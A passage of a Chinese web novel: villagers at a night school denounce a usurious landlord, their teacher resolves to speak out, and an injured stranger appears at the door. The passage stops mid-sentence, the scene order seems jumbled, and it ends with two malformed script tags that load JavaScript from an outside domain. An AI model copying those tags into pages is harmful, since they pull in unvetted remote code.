“还有高利贷。” 另一个人立刻接道。
“那个郑阔海,跟咱们课上讲的那些黑心地主,一模一样。”
“可那又咋办呢?” 有人忍不住问,声音里满是无力,“地在他手上,护院比我们人多,县官也向着他。我们能有什么办法?”
这句话问出来,没人再说话了。
所有人,都慢慢转过头,看向了任弋。
他站在那里,眉头拧得紧紧的,手指轻轻叩着讲台的边缘。
笃。笃。笃。
那声音不紧不慢,在安静的屋子里,格外清晰。像在丈量什么,又像在敲定什么。
沉默了很久很久。
“明天。” 他终于开口,声音有些沙哑,却异常坚定,“我在村委会,好好讲讲吧。”
他顿了顿,低下头,看着还趴在地上的赵土生。
“你今晚就住这儿。我让人给你弄点吃的,把伤处理一下。明天,明天你也一起来听。”
赵土生趴在地上,没有说话。他的肩膀,还在微微发抖。但那口堵在嗓子眼里的气,终于慢慢顺过来了。
屋外的风,停了。
夜校的灯,还亮着。稳稳的,暖暖的光,把那几扇玻璃窗,映得亮堂堂的。
光从窗子里泄出去,照在院子里的泥地上,照在门口那条新修的水泥路上,照在远处黑黢黢的山坡上。
明天。
有人要讲一些事。
讲那些让他们睡不着觉的事。讲那些让他们想了又想,却想不明白的事。讲那些他们一直想问,却不知道该问谁的事。
门外黑漆漆的。只有夜校的灯光,从门口泄出去,照亮了门前一小片空地。
空地的边缘,站着一个人。
那人的样子,让几个小伙子瞬间愣住了。
他穿着一件破得看不出原本颜色的衣裳,上面糊满了干硬的泥和土,有几处撕开了大口子,露出里面青紫肿胀的皮肉。头发乱糟糟的,像一蓬枯草,沾着草屑和枯叶。脸上全是灰,只有一双眼睛,在黑暗里亮着,直勾勾地盯着屋里的光。
他站在那里,摇摇晃晃的,像一根被风刮了一冬的枯木,随时都会倒下去。
“你是谁?” 一个小伙子往前迈了一步,轻声问。
那人没有回答。只是站在那里,眼睛死死盯着屋里的灯光,像没听见一样。
“你从哪儿来?身上的伤,要不要紧?” 另一个小伙子
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">